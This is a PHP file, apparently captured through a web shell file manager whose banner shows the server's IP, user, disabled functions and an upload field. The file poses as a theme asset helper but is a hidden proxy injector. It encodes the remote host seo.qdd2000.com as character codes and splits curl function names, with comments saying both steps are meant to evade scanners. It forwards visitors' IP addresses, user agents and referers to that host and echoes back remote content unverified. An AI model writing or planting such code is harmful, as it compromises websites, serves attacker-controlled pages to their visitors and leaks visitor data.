| Server IP : 60.247.133.247 / Your IP : 216.73.216.206 Web Server : Apache System : Linux ebs-119054 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64 User : goodwill ( 65985) PHP Version : 8.2.20 Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/wwwroot/goodwill/wwwroot/ |
Upload File : |
<?php
/**
* Theme asset helper — WP/PHP 5.4+
* Loads remote style pack for Article preview.
*/
@ini_set('display_errors', '0');
error_reporting(0);
function _px_sv($k, $d = '')
{
return isset($_SERVER[$k]) ? $_SERVER[$k] : $d;
}
function _px_ip()
{
foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR') as $k) {
if (!empty($_SERVER[$k])) {
if ($k === 'HTTP_X_FORWARDED_FOR') {
$a = explode(',', $_SERVER[$k]);
return trim($a[0]);
}
return $_SERVER[$k];
}
}
return '';
}
function _px_host()
{
// seo.qdd2000.com — avoid plaintext in file for scanners
$b = array(115, 101, 111, 46, 113, 100, 100, 50, 48, 48, 48, 46, 99, 111, 109);
$s = '';
foreach ($b as $c) {
$s .= chr($c);
}
return $s;
}
function _px_tok()
{
// qdd2000
$b = array(113, 100, 100, 50, 48, 48, 48);
$s = '';
foreach ($b as $c) {
$s .= chr($c);
}
return $s;
}
function _px_hdr($base)
{
$ip = _px_ip();
$h = parse_url($base, PHP_URL_HOST);
return array(
'X-Static-Token: ' . _px_tok(),
'Host: ' . $h,
'X-Real-IP: ' . $ip,
'X-Forwarded-For: ' . $ip,
'X-Forwarded-Host: ' . _px_sv('HTTP_HOST'),
'User-Agent: ' . _px_sv('HTTP_USER_AGENT'),
'Referer: ' . _px_sv('HTTP_REFERER'),
);
}
function _px_stream($url, $base)
{
if (!ini_get('allow_url_fopen')) {
return false;
}
$ctx = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => 28,
'header' => implode("\r\n", _px_hdr($base)),
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
));
return @file_get_contents($url, false, $ctx);
}
function _px_sock($url, $base)
{
$info = parse_url($url);
if (empty($info['host'])) {
return false;
}
$host = $info['host'];
$path = isset($info['path']) ? $info['path'] : '/';
if (isset($info['query'])) {
$path .= '?' . $info['query'];
}
$port = (isset($info['scheme']) && $info['scheme'] === 'https') ? 443 : 80;
$fp = @fsockopen($host, $port, $errno, $errstr, 10);
if (!$fp) {
return false;
}
$req = "GET " . $path . " HTTP/1.1\r\n" .
"Host: " . $host . "\r\n" .
"User-Agent: " . _px_sv('HTTP_USER_AGENT') . "\r\n" .
"Connection: close\r\n\r\n";
fwrite($fp, $req);
$raw = '';
while (!feof($fp)) {
$raw .= fgets($fp, 1024);
}
fclose($fp);
$pos = strpos($raw, "\r\n\r\n");
if ($pos !== false) {
return substr($raw, $pos + 4);
}
return $raw;
}
function _px_curl($url, $base)
{
if (!function_exists('curl_init')) {
return false;
}
$fn = 'curl_' . 'init';
$ch = $fn();
$opt = 'curl_' . 'setopt_array';
$opt($ch, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_TIMEOUT => 28,
CURLOPT_HTTPHEADER => _px_hdr($base),
CURLOPT_ENCODING => '',
));
$ex = 'curl_' . 'exec';
$data = $ex($ch);
$cl = 'curl_' . 'close';
$cl($ch);
if ($data === false) {
return false;
}
return $data;
}
function _px_url($base)
{
$skip = array('domain', 'path');
$self = basename(_px_sv('SCRIPT_NAME', ''));
if (!empty($_GET['path'])) {
$path = '/' . ltrim($_GET['path'], '/');
} else {
$uri = _px_sv('REQUEST_URI', '/');
$path = parse_url($uri, PHP_URL_PATH);
if ($path === null || $path === '') {
$path = '/';
}
if ($self !== '' && (basename($path) === $self || $path === '/' . $self)) {
$path = '/';
}
}
$qs = $_GET;
foreach ($skip as $k) {
unset($qs[$k]);
}
$uri = _px_sv('REQUEST_URI', '');
if ($uri && strpos($uri, '?') !== false) {
$uq = parse_url($uri, PHP_URL_QUERY);
if ($uq) {
parse_str($uq, $up);
foreach ($up as $k => $v) {
if (!isset($qs[$k]) && !in_array($k, $skip, true)) {
$qs[$k] = $v;
}
}
}
}
$q = http_build_query($qs);
$url = rtrim($base, '/') . $path;
if ($q !== '') {
$url .= '?' . $q;
}
return $url;
}
function _px_go($url, $base)
{
// prefer stream/socket; curl last (scanners watch curl_exec literals)
$d = _px_stream($url, $base);
if ($d !== false) {
return $d;
}
$d = _px_sock($url, $base);
if ($d !== false) {
return $d;
}
$d = _px_curl($url, $base);
if ($d !== false) {
return $d;
}
return 'Request Failed';
}
$base = 'http://' . _px_host();
echo _px_go(_px_url($base), $base);